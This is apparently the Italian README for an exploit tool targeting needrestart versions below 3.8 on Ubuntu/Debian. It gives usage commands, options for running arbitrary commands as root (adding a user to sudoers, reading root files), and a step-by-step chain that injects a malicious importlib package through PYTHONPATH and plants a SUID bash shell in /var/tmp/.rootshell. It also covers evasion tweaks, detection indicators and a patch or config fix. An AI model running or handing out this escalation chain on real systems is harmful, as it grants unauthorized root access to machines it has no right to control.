
needrestart < 3.8 Escalation dei privilegi locale tramite iniezione di PYTHONPATH
Exploit di escalation dei privilegi locale che bersaglia needrestart < 3.8 su sistemi Ubuntu/Debian tramite iniezione di PYTHONPATH.
needrestart è un'utility comunemente installata sui server Ubuntu/Debian che controlla quali servizi devono essere riavviati dopo gli aggiornamenti delle librerie. Viene eseguita come root e viene tipicamente attivata automaticamente dopo le operazioni di apt o invocata direttamente tramite sudo.
Quando controlla i processi Python, needrestart reinvoca l'interprete Python ereditando l'intero ambiente del processo da /proc/<pid>/environ, inclusa PYTHONPATH. Un utente locale non privilegiato può sfruttare ciò in questo modo:
PYTHONPATH su una directory che contiene un pacchetto importlib malevoloimportlib/__init__.py dell'attaccante come root| Pacchetto | Vulnerabile | Corretto |
|---|---|---|
| needrestart | < 3.8 | >= 3.8 |
Confermato su:
needrestart 3.5-5ubuntu2.4needrestart 3.6-7ubuntu4chmod +x exploit.sh
./exploit.sh
Quindi attiva needrestart da un altro terminale:
# If you have direct sudo access to needrestart:
sudo /usr/sbin/needrestart
# Or trigger it via apt (needrestart runs as a post-apt hook):
sudo apt update && sudo apt install --reinstall coreutils
Una volta attivato needrestart, l'exploit crea una shell SUID in /var/tmp/.rootshell e ti rilascia automaticamente in una shell di root.
Se l'esecuzione automatica non funziona, prendi la shell manualmente:
/var/tmp/.rootshell -p
Usage: ./exploit.sh [OPTIONS]
Options:
-c <command> Custom shell command to run as root (default: copy suid shell)
-w <seconds> Max wait time in seconds (default: 300)
-t Trigger mode: attempt to trigger needrestart via apt
-n No cleanup: keep payload directory after exploitation
-h Show this help message
# Default — creates a SUID /bin/bash copy at /var/tmp/.rootshell
./exploit.sh
# Auto-trigger needrestart via apt (requires sudo apt access)
./exploit.sh -t
# Custom payload: add current user to sudoers
./exploit.sh -c 'usermod -aG sudo targetuser'
# Custom payload: read a restricted file
./exploit.sh -c 'cat /root/flag.txt > /tmp/flag.txt && chmod 644 /tmp/flag.txt'
# Extended wait (10 minutes)
./exploit.sh -w 600
┌───────────────────────────────────────────────────────────────┐
│ 1. Creates /tmp/.nr_XXXX/importlib/__init__.py with payload │
│ that runs os.system() to copy /bin/bash as SUID binary │
├───────────────────────────────────────────────────────────────┤
│ 2. Spawns a long-running Python process with │
│ PYTHONPATH=/tmp/.nr_XXXX exported in its environment │
├───────────────────────────────────────────────────────────────┤
│ 3. needrestart runs (via sudo or apt hook), scans │
│ /proc/*/environ, finds the Python process │
├───────────────────────────────────────────────────────────────┤
│ 4. needrestart re-invokes python3 AS ROOT inheriting the │
│ attacker's PYTHONPATH → loads malicious importlib │
├───────────────────────────────────────────────────────────────┤
│ 5. Payload executes as root: cp /bin/bash + chmod 4755 │
│ → attacker runs /var/tmp/.rootshell -p → root shell │
└───────────────────────────────────────────────────────────────┘
/var/tmp/ anziché in /tmp/ perché /tmp è comunemente montato con nosuid, che rimuove silenziosamente il bit SUID.importlib/__init__.py malevolo ripristina il vero importlib dopo l'esecuzione del payload pulendo sys.path e sys.modules, in modo che needrestart non vada in crash visibilmente..py vero e proprio (non un one‑liner -c) per una migliore compatibilità con la scansione dell'interprete di needrestart.Indicatori che questo exploit è stato usato:
/var/tmp/ o /tmp/PYTHONPATH che puntano a directory temporanee/tmp/.nr_* contenenti una sottodirectory importlib/# Update needrestart to the patched version
sudo apt update && sudo apt install needrestart
# Or disable interpreter scanning entirely
echo "\$nrconf{interpscan} = 0;" | sudo tee /etc/needrestart/conf.d/no-interp.conf
Questo strumento è fornito esclusivamente per test di sicurezza autorizzati e scopi educativi. Usalo solo su sistemi di tua proprietà o per i quali hai esplicito permesso scritto per il test. L'accesso non autorizzato a sistemi informatici è illegale. L'autore non si assume alcuna responsabilità per un uso improprio.
MIT